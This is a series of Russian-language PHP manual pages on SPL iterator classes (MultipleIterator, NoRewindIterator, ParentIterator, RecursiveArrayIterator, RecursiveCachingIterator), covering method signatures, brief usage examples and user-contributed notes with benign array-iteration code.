MultipleIterator::detachIterator — Отсоединяет итератор

Описание

public MultipleIterator::detachIterator(Iterator $iterator): void

Отсоединяет итератор.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

iterator

Отсоединяемый итератор.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • MultipleIterator::attachIterator() - Присоединяет итератор

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о флагах

  • « MultipleIterator::detachIterator
  • MultipleIterator::key »
  • PHP Manual
  • MultipleIterator
  • Получает информацию о флагах

MultipleIterator::getFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::getFlags — Получает информацию о флагах

Описание

public MultipleIterator::getFlags(): int

Получает информацию о флагах.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Информация о флагах, в виде int.

Смотрите также

  • Предопределённые константы
  • MultipleIterator::__construct() - Создаёт новый MultipleIterator
  • MultipleIterator::setFlags() - Устанавливает флаги

User Contributed Notes

There are no user contributed notes for this page.


Получает зарегистрированные итераторы

  • « MultipleIterator::getFlags
  • MultipleIterator::next »
  • PHP Manual
  • MultipleIterator
  • Получает зарегистрированные итераторы

MultipleIterator::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::key — Получает зарегистрированные итераторы

Описание

public MultipleIterator::key(): array

Получает результат выполнения key() зарегистрированных итераторов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) всех зарегистрированных итераторов.

Ошибки

RuntimeException, если итератор недействителен (начиная с PHP 8.1.0) или установлен режим MIT_NEED_ALL и по крайней мере один присоединённый итератор недействителен.

Вызов этого метода из foreach вызовет предупреждение "Возвращён неверный тип" ("Illegal type returned").

Список изменений

Версия | Описание
8.1.0 | Теперь выбрасывается исключение RuntimeException, если MultipleIterator::key() вызывается на недопустимом итераторе. Ранее вместо этого возвращалось значение false.

Смотрите также

  • MultipleIterator::current() - Получает зарегистрированные итераторы

User Contributed Notes

There are no user contributed notes for this page.


Перемещает все присоединённые итераторы к своим следующим элементам

  • « MultipleIterator::key
  • MultipleIterator::rewind »
  • PHP Manual
  • MultipleIterator
  • Перемещает все присоединённые итераторы к своим следующим элементам

MultipleIterator::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::next — Перемещает все присоединённые итераторы к своим следующим элементам

Описание

public MultipleIterator::next(): void

Перемещает все присоединённые итераторы к своим следующим элементам.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • MultipleIterator::rewind() - Возвращает в начало все присоединённые итераторы

User Contributed Notes

There are no user contributed notes for this page.


Возвращает в начало все присоединённые итераторы

  • « MultipleIterator::next
  • MultipleIterator::setFlags »
  • PHP Manual
  • MultipleIterator
  • Возвращает в начало все присоединённые итераторы

MultipleIterator::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::rewind — Возвращает в начало все присоединённые итераторы

Описание

public MultipleIterator::rewind(): void

Возвращает в начало все присоединённые итераторы.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • MultipleIterator::next() - Перемещает все присоединённые итераторы к своим следующим элементам

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает флаги

  • « MultipleIterator::rewind
  • MultipleIterator::valid »
  • PHP Manual
  • MultipleIterator
  • Устанавливает флаги

MultipleIterator::setFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::setFlags — Устанавливает флаги

Описание

public MultipleIterator::setFlags(int $flags): void

Устанавливает флаги.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

flags

Флаги для установки, согласно Предопределённым константам

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Предопределённые константы
  • MultipleIterator::__construct() - Создаёт новый MultipleIterator
  • MultipleIterator::getFlags() - Получает информацию о флагах

User Contributed Notes

There are no user contributed notes for this page.


Проверяет корректность подытераторов

  • « MultipleIterator::setFlags
  • NoRewindIterator »
  • PHP Manual
  • MultipleIterator
  • Проверяет корректность подытераторов

MultipleIterator::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::valid — Проверяет корректность подытераторов

Описание

public MultipleIterator::valid(): bool

Проверяет корректность подытераторов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true если один или все (в зависимости от флагов) подытераторы действительны; в противном случае - false

Смотрите также

  • MultipleIterator::__construct() - Создаёт новый MultipleIterator

User Contributed Notes

There are no user contributed notes for this page.


Класс NoRewindIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Итератор игнорирует операции перемотки. Это позволяет обрабатывать итератор в нескольких частичных циклах foreach.

Обзор классов

class NoRewindIterator extends IteratorIterator {
/* Методы */
public __construct(Iterator $iterator)
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
/* Наследуемые методы */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Содержание

  • NoRewindIterator::__construct — Создаёт новый объект NoRewindIterator
  • NoRewindIterator::current — Получает текущее значение
  • NoRewindIterator::key — Получает текущий ключ
  • NoRewindIterator::next — Перемещает итератор к следующему элементу
  • NoRewindIterator::rewind — Предотвращает возврат внутреннего итератора в начало
  • NoRewindIterator::valid — Проверяет итератор

User Contributed Notes

Anonymous 25-Apr-2020 10:18
As its name implies, NoRewindIterator doesn't invoke the "rewind" method when It reaches the end of the iterator.

Let's demonstrate it by two examles.

In this example the "rewind" method will be invoked after when the "foreache" reaches its end, so, we can repeat printing the same values as many times as we want:

<?PHP
$iterator = new ArrayIterator(['PHP', 'Python', 'Go']);

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}
?>

By using the NoRewindIterator, the "rewind" won't be invoked, so, we can't do as we did in previous example:

<?PHP
$iterator = new ArrayIterator(['PHP', 'Python', 'Go']);
$iterator = new NoRewindIterator($iterator);

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

// doesn't do anything
foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

?>


Создаёт новый объект NoRewindIterator

  • « NoRewindIterator
  • NoRewindIterator::current »
  • PHP Manual
  • NoRewindIterator
  • Создаёт новый объект NoRewindIterator

NoRewindIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::__construct — Создаёт новый объект NoRewindIterator

Описание

public NoRewindIterator::__construct(Iterator $iterator)

Создаёт новый объект NoRewindIterator.

Список параметров

iterator

Используемый итератор.

Примеры

Пример #1 Пример использования NoRewindIterator::__construct()

Второй цикл ничего не выведет, поскольку итератор используется только один раз и не может быть возвращён в начало.

<?php
$fruit = array('яблоко', 'банан', 'клюква');

$arr = new ArrayObject($fruit);
$it = new NoRewindIterator($arr->getIterator());

echo "Фрукт А:\n";
foreach( $it as $item ) {
echo $item . "\n";
}

echo "Фрукт Б:\n";
foreach( $it as $item ) {
echo $item . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Фрукт А:
яблоко
банан
клюква
Фрукт Б:

Смотрите также

  • NoRewindIterator::valid() - Проверяет итератор

User Contributed Notes

There are no user contributed notes for this page.


Получает текущее значение

  • « NoRewindIterator::__construct
  • NoRewindIterator::key »
  • PHP Manual
  • NoRewindIterator
  • Получает текущее значение

NoRewindIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::current — Получает текущее значение

Описание

public NoRewindIterator::current(): mixed

Получает текущее значение.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущее значение.

Смотрите также

  • NoRewindIterator::key() - Получает текущий ключ

User Contributed Notes

There are no user contributed notes for this page.


Получает текущий ключ

  • « NoRewindIterator::current
  • NoRewindIterator::next »
  • PHP Manual
  • NoRewindIterator
  • Получает текущий ключ

NoRewindIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::key — Получает текущий ключ

Описание

public NoRewindIterator::key(): mixed

Получает текущий ключ.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий ключ.

Смотрите также

  • NoRewindIterator::next() - Перемещает итератор к следующему элементу

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к следующему элементу

  • « NoRewindIterator::key
  • NoRewindIterator::rewind »
  • PHP Manual
  • NoRewindIterator
  • Перемещает итератор к следующему элементу

NoRewindIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::next — Перемещает итератор к следующему элементу

Описание

public NoRewindIterator::next(): void

Перемещает итератор к следующему элементу.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • NoRewindIterator::rewind() - Предотвращает возврат внутреннего итератора в начало

User Contributed Notes

There are no user contributed notes for this page.


Предотвращает возврат внутреннего итератора в начало

  • « NoRewindIterator::next
  • NoRewindIterator::valid »
  • PHP Manual
  • NoRewindIterator
  • Предотвращает возврат внутреннего итератора в начало

NoRewindIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::rewind — Предотвращает возврат внутреннего итератора в начало

Описание

public NoRewindIterator::rewind(): void

Предотвращает возврат внутреннего итератора в начало.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования NoRewindIterator::rewind()

Пример показывает, что вызов операции возврата в начало над объектом NoRewindIterator не имеет никакого эффекта.

<?php
$fruits = array("лимон", "апельсин", "яблоко", "груша");

$noRewindIterator = new NoRewindIterator(new ArrayIterator($fruits));

echo $noRewindIterator->current() . "\n";
$noRewindIterator->next();
// возврат итератора в начало (ничего не должно случиться)
$noRewindIterator->rewind();
echo $noRewindIterator->current() . "\n";
?>

Результат выполнения данного примера:

лимон
апельсин

User Contributed Notes

There are no user contributed notes for this page.


Проверяет итератор

  • « NoRewindIterator::rewind
  • ParentIterator »
  • PHP Manual
  • NoRewindIterator
  • Проверяет итератор

NoRewindIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::valid — Проверяет итератор

Описание

public NoRewindIterator::valid(): bool

Проверяет, является ли итератор допустимым.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • NoRewindIterator::getInnerIterator()

User Contributed Notes

There are no user contributed notes for this page.


Класс ParentIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Это расширенный класс от FilterIterator, позволяющий осуществить рекурсивную итерацию, используя класс RecursiveIteratorIterator, который показывает только те элементы, которые имеют потомков.

Обзор классов

class ParentIterator extends RecursiveFilterIterator {
/* Методы */
public __construct(RecursiveIterator $iterator)
public accept(): bool
public getChildren(): ParentIterator
public hasChildren(): bool
public next(): void
public rewind(): void
/* Наследуемые методы */
public RecursiveFilterIterator::getChildren(): ?RecursiveFilterIterator
public RecursiveFilterIterator::hasChildren(): bool
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Содержание

  • ParentIterator::accept — Определение доступности
  • ParentIterator::__construct — Конструктор класса ParentIterator
  • ParentIterator::getChildren — Возвращает дочерние объекты итератора, хранящегося внутри ParentIterator
  • ParentIterator::hasChildren — Проверяет, имеет ли внутренний объект-итератор дочерние объекты
  • ParentIterator::next — Перемещает указатель на одну позицию вперёд
  • ParentIterator::rewind — Переводит итератор на начало

User Contributed Notes

dn dot permyakov at gmail dot com 12-May-2019 11:24
Easy example for understanding:
<?php

$iterator = new ParentIterator(
    new RecursiveArrayIterator(
        array(array(1, 2, 3), 'A', 'B', 'C')
    )
);

foreach ($iterator as $recursive) {
    foreach ($recursive as $value) {
        echo $value . PHP_EOL;
    }
}
?>

1
2
3
Anonymous 19-Dec-2011 07:55
ParentIterator is just a RecursiveFilterIterator whos accept() method calls the RecursiveFilterIterator->hasChildren() method to filter itself.

Basically, it filters out leaf nodes. For example

This would yield all files and directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
?>

wrapping that in a ParentIterator would filter it down to just directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
$dirsOnly = new ParentIterator($iter);
?>


Определение доступности

  • « ParentIterator
  • ParentIterator::__construct »
  • PHP Manual
  • ParentIterator
  • Определение доступности

ParentIterator::accept

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::accept — Определение доступности

Описание

public ParentIterator::accept(): bool

Определяет, имеет ли элемент дочерние элементы.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если элемент доступен, false в противном случае.

Смотрите также

  • ParentIterator::hasChildren() - Проверяет, имеет ли внутренний объект-итератор дочерние объекты
  • FilterIterator::accept() - Проверяет, является ли текущий элемент итератора допустимым

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса ParentIterator

  • « ParentIterator::accept
  • ParentIterator::getChildren »
  • PHP Manual
  • ParentIterator
  • Конструктор класса ParentIterator

ParentIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::__construct — Конструктор класса ParentIterator

Описание

public ParentIterator::__construct(RecursiveIterator $iterator)

Создаёт новый объект класса ParentIterator на основе объекта-итератора.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

iterator

Объект-итератор, на основе которого создаётся новый объект.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дочерние объекты итератора, хранящегося внутри ParentIterator

  • « ParentIterator::__construct
  • ParentIterator::hasChildren »
  • PHP Manual
  • ParentIterator
  • Возвращает дочерние объекты итератора, хранящегося внутри ParentIterator

ParentIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::getChildren — Возвращает дочерние объекты итератора, хранящегося внутри ParentIterator

Описание

public ParentIterator::getChildren(): ParentIterator

Возвращает дочерние объекты итератора, хранящегося внутри ParentIterator.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект (object).

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, имеет ли внутренний объект-итератор дочерние объекты

  • « ParentIterator::getChildren
  • ParentIterator::next »
  • PHP Manual
  • ParentIterator
  • Проверяет, имеет ли внутренний объект-итератор дочерние объекты

ParentIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::hasChildren — Проверяет, имеет ли внутренний объект-итератор дочерние объекты

Описание

public ParentIterator::hasChildren(): bool

Проверяет, имеет ли внутренний объект-итератор дочерние объекты.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Перемещает указатель на одну позицию вперёд

  • « ParentIterator::hasChildren
  • ParentIterator::rewind »
  • PHP Manual
  • ParentIterator
  • Перемещает указатель на одну позицию вперёд

ParentIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::next — Перемещает указатель на одну позицию вперёд

Описание

public ParentIterator::next(): void

Перемещает указатель на одну позицию вперёд.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Переводит итератор на начало

  • « ParentIterator::next
  • RecursiveArrayIterator »
  • PHP Manual
  • ParentIterator
  • Переводит итератор на начало

ParentIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::rewind — Переводит итератор на начало

Описание

public ParentIterator::rewind(): void

Перемещает указатель на начальную позицию.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс RecursiveArrayIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Этот итератор позволяет сбросить и изменить значения и ключи во время прохода по массивам и объектам таким же образом, как и ArrayIterator. Кроме того, можно перебирать текущие записи итератора.

Обзор классов

class RecursiveArrayIterator extends ArrayIterator implements RecursiveIterator {
/* Наследуемые константы */
public const int ArrayIterator::STD_PROP_LIST;
public const int ArrayIterator::ARRAY_AS_PROPS;
/* Константы */
public const int CHILD_ARRAYS_ONLY;
/* Методы */
public getChildren(): ?RecursiveArrayIterator
public hasChildren(): bool
/* Наследуемые методы */
public ArrayIterator::__construct(array|object $array = [], int $flags = 0)
public ArrayIterator::append(mixed $value): void
public ArrayIterator::asort(int $flags = SORT_REGULAR): true
public ArrayIterator::count(): int
public ArrayIterator::current(): mixed
public ArrayIterator::getArrayCopy(): array
public ArrayIterator::getFlags(): int
public ArrayIterator::key(): string|int|null
public ArrayIterator::ksort(int $flags = SORT_REGULAR): true
public ArrayIterator::natcasesort(): true
public ArrayIterator::natsort(): true
public ArrayIterator::next(): void
public ArrayIterator::offsetExists(mixed $key): bool
public ArrayIterator::offsetGet(mixed $key): mixed
public ArrayIterator::offsetSet(mixed $key, mixed $value): void
public ArrayIterator::offsetUnset(mixed $key): void
public ArrayIterator::rewind(): void
public ArrayIterator::seek(int $offset): void
public ArrayIterator::serialize(): string
public ArrayIterator::setFlags(int $flags): void
public ArrayIterator::uasort(callable $callback): true
public ArrayIterator::uksort(callable $callback): true
public ArrayIterator::unserialize(string $data): void
public ArrayIterator::valid(): bool
}

Предопределённые константы

Флаги RecursiveArrayIterator

RecursiveArrayIterator::CHILD_ARRAYS_ONLY

Применим только к массивам (не к объектам) как имеющих детей для итерации.

Содержание

  • RecursiveArrayIterator::getChildren — Возвращает итератор для текущего элемента, если этот элемент является массивом (array) или объектом (object)
  • RecursiveArrayIterator::hasChildren — Определяет, является ли текущий элемент массивом или объектом

User Contributed Notes

Edgar 12-May-2022 11:47
<?php
$array = [
'A','B',
'C'=>[
    'D','E',
    'F'=>['G','H']
 ],
'I','J'
];

$iterator = new RecursiveArrayIterator($array);

foreach($iterator as $key=>$value)
{
    echo $key,':', $value,'<br>';
}

/**
Output
0:A
1:B
C:Array
2:I
3:J
*/

//-------------
//Recursive...

$array = [
'A','B',
'C'=>[
    'D','E',
    'F'=>['G','H']
 ],
'I','J'
];

$it = new RecursiveArrayIterator($array);
$iterator = new RecursiveIteratorIterator($it);

foreach($iterator as $key=>$value)
{
    echo $key,':', $value,'<br>';
}

/**
Output
0:A
1:B
0:D
1:E
0:G
1:H
2:I
3:J
*/

?>
lemoinem dot remove at me dot mlemoine dot name 12-Dec-2013 10:29
The RecursiveArrayOnlyIterator behaviour c dot 1 at smithies dot org presented can also be achieved using the (undocumented) flag RecursiveArrayIterator::CHILD_ARRAYS_ONLY (https://github.com/php/php-src/blob/master/ext/spl/spl_array.c#L1970 and https://github.com/php/php-src/blob/master/ext/spl/spl_array.c#L1620)
c dot 1 at smithies dot org 15-Nov-2011 10:29
If you are iterating over a multi-dimensional array of objects, you may be tempted to use a RecursiveArrayIterator within a RecursiveIteratorIterator. You are likely to get baffling results if you do. That is because RecursiveArrayIterator treats all objects as having children, and tries to recurse into them. But if you are interested in having your RecursiveIteratorIterator return the objects in your multi-dimensional array, then you don't want the default setting LEAVES_ONLY, because no object can be a leaf (= has no children).

The solution is to extend the RecursiveArrayIterator class and override the hasChildren method appropriately. Something like the following might be suitable:

<?php
class RecursiveArrayOnlyIterator extends RecursiveArrayIterator {
  public function hasChildren() {
    return is_array($this->current());
  }
}
?>
Of course, this simple example will not recurse into ArrayObjects either!
mccarthy dot richard at gmail dot com 22-Feb-2011 07:23
Using the RecursiveArrayIterator to traverse an unknown amount of sub arrays within the outer array. Note: This functionality is already provided by using the RecursiveIteratorIterator but is useful in understanding how to use the iterator when using for the first time as all the terminology does get rather confusing at first sight of SPL!

<?php
$myArray = array(
    0 => 'a',
    1 => array('subA','subB',array(0 => 'subsubA', 1 => 'subsubB', 2 => array(0 => 'deepA', 1 => 'deepB'))),
    2 => 'b',
    3 => array('subA','subB','subC'),
    4 => 'c'
);

$iterator = new RecursiveArrayIterator($myArray);
iterator_apply($iterator, 'traverseStructure', array($iterator));

function traverseStructure($iterator) {

    while ( $iterator -> valid() ) {

        if ( $iterator -> hasChildren() ) {

            traverseStructure($iterator -> getChildren());

        }
        else {
            echo $iterator -> key() . ' : ' . $iterator -> current() .PHP_EOL;
        }

        $iterator -> next();
    }
}
?>

The output from which is:
0 : a
0 : subA
1 : subB
0 : subsubA
1 : subsubB
0 : deepA
1 : deepB
2 : b
0 : subA
1 : subB
2 : subC
4 : c


Возвращает итератор для текущего элемента, если этот элемент является массивом (array) или объектом (object)

  • « RecursiveArrayIterator
  • RecursiveArrayIterator::hasChildren »
  • PHP Manual
  • RecursiveArrayIterator
  • Возвращает итератор для текущего элемента, если этот элемент является массивом (array) или объектом (object)

RecursiveArrayIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveArrayIterator::getChildren — Возвращает итератор для текущего элемента, если этот элемент является массивом (array) или объектом (object)

Описание

public RecursiveArrayIterator::getChildren(): ?RecursiveArrayIterator

Возвращает итератор для текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Итератор для текущего элемента, если этот элемент является массивом (array) или объектом (object); Возвращает null в случае возникновения ошибки.

Ошибки

Метод выбрасывает исключение InvalidArgumentException, если текущий элемент не содержит массивов (array) или объектов (object).

Примеры

Пример #1 Пример использования RecursiveArrayIterator::getChildren()

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

if ($iterator->hasChildren()) {
// выводим информацию о всех дочерних элементах
foreach ($iterator->getChildren() as $key => $value) {
echo $key . ' : ' . $value . "\n";
}
} else {
echo "Дочерних элементов не обнаружено.\n";
}

$iterator->next();
}
?>

Результат выполнения данного примера:

Дочерних элементов не обнаружено.
Дочерних элементов не обнаружено.
a : apple
p : pear

Смотрите также

  • RecursiveArrayIterator::hasChildren() - Определяет, является ли текущий элемент массивом или объектом

User Contributed Notes

814ckf0x 05-Mar-2014 08:44
RecursiveArrayIterator::getChildrens returns a copy of the children, not a reference:
<?php
$stack = array ("some" => "value",
                array ("subsome" => "subvalue", array ("subsubsome" => "subsubvalue")),
                "some1" => "value1");

$object = new RecursiveArrayIterator ($stack);
$object->next ();
$second_object = &$object->getChildren ();

$second_object->next ();

$third_object = &$second_object->getChildren ();

$third_object->offsetSet ("subsubsome", "subsubdiferent");

var_dump ($object);
var_dump ($second_object);
var_dump ($third_object);
?>

returns:

object(RecursiveArrayIterator)#1 (1) {
  ["storage":"ArrayIterator":private]=>
  array(3) {
    ["some"]=>
    string(5) "value"
    [0]=>
    array(2) {
      ["subsome"]=>
      string(8) "subvalue"
      [0]=>
      array(1) {
        ["subsubsome"]=>
        string(11) "subsubvalue" <--- expected to be changed
      }
    }
    ["some1"]=>
    string(6) "value1"
  }
}
object(RecursiveArrayIterator)#2 (1) {
  ["storage":"ArrayIterator":private]=>
  array(2) {
    ["subsome"]=>
    string(8) "subvalue"
    [0]=>
    array(1) {
      ["subsubsome"]=>
      string(11) "subsubvalue" <--- expected to be changed
    }
  }
}
object(RecursiveArrayIterator)#3 (1) {
  ["storage":"ArrayIterator":private]=>
  array(1) {
    ["subsubsome"]=>
    string(14) "subsubdiferent"
  }
}


Определяет, является ли текущий элемент массивом или объектом

  • « RecursiveArrayIterator::getChildren
  • RecursiveCachingIterator »
  • PHP Manual
  • RecursiveArrayIterator
  • Определяет, является ли текущий элемент массивом или объектом

RecursiveArrayIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveArrayIterator::hasChildren — Определяет, является ли текущий элемент массивом или объектом

Описание

public RecursiveArrayIterator::hasChildren(): bool

Определяет, является ли текущий элемент массивом (array) или объектом (object). Эти сведения необходимо проверять, прежде чем вызывать метод RecursiveArrayIterator::getChildren().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если текущий элемент является массивом (array) или объектом (object), false в противном случае.

Примеры

Пример #1 Пример использования RecursiveArrayIterator::hasChildren()

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

// проверим, есть ли дочерние элементы
if ($iterator->hasChildren()) {
// выведем информацию о дочерних элементах
foreach ($iterator->getChildren() as $key => $value) {
echo $key . ' : ' . $value . "\n";
}
} else {
echo "Дочерних элементов нет.\n";
}

$iterator->next();
}
?>

Результат выполнения данного примера:

Дочерних элементов нет.
Дочерних элементов нет.
a : apple
p : pear

Смотрите также

  • RecursiveArrayIterator::getChildren() - Возвращает итератор для текущего элемента, если этот элемент является массивом (array) или объектом (object)

User Contributed Notes

Dominik 23-Jan-2015 11:20
hasChildren() works as documented here, but not as its name suggests.

The method does not return whether the current entry actually *has* children. It only returns whether the element's type is one that is able to have children.

This is a bit counterintuitive if you are processing empty arrays.

Example:

<?php
$data = array(
    "element one" => array(true),
    "element two" => array(),
    "element three" => array(true),
);

$i = new RecursiveIteratorIterator(new RecursiveArrayIterator($data),RecursiveIteratorIterator::SELF_FIRST);

foreach($i as $key => $value)
{
    $type = gettype($value);
    $depth = $i->getDepth();

    if($i->hasChildren()) {
        echo "$depth: $key ($type) has children\n";
    } else {
        echo "$depth: $key ($type) has no children\n";
    }
}
?>

Result:

0: element one (array) has children
1: 0 (boolean) has no children
0: element two (array) has children
0: element three (array) has children
1: 0 (boolean) has no children


Класс RecursiveCachingIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

...

Обзор классов

class RecursiveCachingIterator extends CachingIterator implements RecursiveIterator {
/* Наследуемые константы */
public const int CachingIterator::CALL_TOSTRING;
public const int CachingIterator::CATCH_GET_CHILD;
public const int CachingIterator::TOSTRING_USE_KEY;
public const int CachingIterator::TOSTRING_USE_CURRENT;
public const int CachingIterator::TOSTRING_USE_INNER;
public const int CachingIterator::FULL_CACHE;
/* Методы */
public __construct(Iterator $iterator, int $flags = RecursiveCachingIterator::CALL_TOSTRING)
public getChildren(): ?RecursiveCachingIterator
public hasChildren(): bool
/* Наследуемые методы */
public CachingIterator::count(): int
public CachingIterator::current(): mixed
public CachingIterator::getCache(): array
public CachingIterator::getFlags(): void
public CachingIterator::hasNext(): bool
public CachingIterator::key(): scalar
public CachingIterator::next(): void
public CachingIterator::offsetExists(string $key): bool
public CachingIterator::offsetGet(string $key): mixed
public CachingIterator::offsetSet(string $key, mixed $value): void
public CachingIterator::offsetUnset(string $key): void
public CachingIterator::rewind(): void
public CachingIterator::setFlags(int $flags): void
public CachingIterator::__toString(): string
public CachingIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Содержание

  • RecursiveCachingIterator::__construct — Конструктор
  • RecursiveCachingIterator::getChildren — Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveCachingIterator
  • RecursiveCachingIterator::hasChildren — Проверяет, имеет ли текущий элемент внутреннего итератора дочерние элементы

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « RecursiveCachingIterator
  • RecursiveCachingIterator::getChildren »
  • PHP Manual
  • RecursiveCachingIterator
  • Конструктор

RecursiveCachingIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveCachingIterator::__construct — Конструктор

Описание

public RecursiveCachingIterator::__construct(Iterator $iterator, int $flags = RecursiveCachingIterator::CALL_TOSTRING)

Создаёт новый RecursiveCachingIterator, который состоит из переданного итератора (iterator).

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

iterator

Используемый итератор.

flags

Флаги. Используйте CALL_TOSTRING для того, чтобы вызвать RecursiveCachingIterator::__toString() для каждого элемента (по умолчанию), и/или CATCH_GET_CHILD для перехвата исключений при попытке получения дочерних элементов.

